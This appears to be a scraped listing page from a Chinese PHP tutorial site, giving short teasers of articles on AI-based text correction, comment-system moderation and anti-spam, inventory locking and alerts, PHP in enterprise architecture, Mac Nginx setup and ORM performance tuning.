要实现PHP结合AI进行文本纠错与语法优化,需按以下步骤操作:1.选择适合的AI模型或API,如百度、腾讯API或开源NLP库;2.通过PHP的curl或Guzzle调用API并处理返回结果;3.在应用中展示纠错信息并允许用户选择是否采纳;4.使用php-l和PHP_CodeSniffer进行语法检测与代码优化;5.持续收集反馈并更新模型或规则以提升效果。选择AIAPI时应重点评估准确率、响应速度、价格及对PHP的支持。代码优化应遵循PSR规范、合理使用缓存、避免循环查询、定期审查代码,并借助X

PHP打造博客评论系统变现 PHP评论审核与防刷策略 PHP打造博客评论系统变现 PHP评论审核与防刷策略 Jul 25, 2025 pm 08:27 PM

1.评论系统商业价值最大化需结合原生广告精准投放、用户付费增值服务(如上传图片、评论置顶)、基于评论质量的影响力激励机制及合规匿名数据洞察变现;2.审核策略应采用前置审核 动态关键词过滤 用户举报机制组合,辅以评论质量评分实现内容分级曝光;3.防刷需构建多层防御:reCAPTCHAv3无感验证、Honeypot蜜罐字段识别机器人、IP与时间戳频率限制阻止灌水、内容模式识别标记可疑评论,持续迭代应对攻击。

PHP实现商品库存管理变现 PHP库存同步与报警机制 PHP实现商品库存管理变现 PHP库存同步与报警机制 Jul 25, 2025 pm 08:30 PM

PHP通过数据库事务与FORUPDATE行锁确保库存扣减原子性,防止高并发超卖;2.多平台库存一致性需依赖中心化管理与事件驱动同步,结合API/Webhook通知及消息队列保障数据可靠传递;3.报警机制应分场景设置低库存、零/负库存、滞销、补货周期和异常波动策略,并按紧急程度选择钉钉、短信或邮件通知责任人,且报警信息需完整明确,以实现业务适配与快速响应。

超越灯堆:PHP在现代企业体系结构中的作用 超越灯堆:PHP在现代企业体系结构中的作用 Jul 27, 2025 am 04:31 AM

PHPisstillrelevantinmodernenterpriseenvironments.1.ModernPHP(7.xand8.x)offersperformancegains,stricttyping,JITcompilation,andmodernsyntax,makingitsuitableforlarge-scaleapplications.2.PHPintegrateseffectivelyinhybridarchitectures,servingasanAPIgateway

如何用Mac搭建PHP Nginx环境 MacOS配置Nginx与PHP服务组合 如何用Mac搭建PHP Nginx环境 MacOS配置Nginx与PHP服务组合 Jul 25, 2025 pm 08:24 PM

Homebrew在Mac环境搭建中的核心作用是简化软件安装与管理。1.Homebrew自动处理依赖关系,将复杂的编译安装流程封装为简单命令;2.提供统一的软件包生态,确保软件安装位置与配置标准化;3.集成服务管理功能,通过brewservices可便捷启动、停止服务;4.便于软件升级与维护,提升系统安全性与功能性。

PHP中的对象关联映射(ORM)性能调整 PHP中的对象关联映射(ORM)性能调整 Jul 29, 2025 am 05:00 AM

避免N 1查询问题,通过提前加载关联数据来减少数据库查询次数;2.仅选择所需字段,避免加载完整实体以节省内存和带宽;3.合理使用缓存策略,如Doctrine的二级缓存或Redis缓存高频查询结果;4.优化实体生命周期,定期调用clear()释放内存以防止内存溢出;5.确保数据库索引存在并分析生成的SQL语句以避免低效查询;6.在无需跟踪变更的场景下禁用自动变更跟踪,改用数组或轻量模式提升性能。正确使用ORM需结合SQL监控、缓存、批量处理和适当优化,在保持开发效率的同时确保应用性能。

See all articles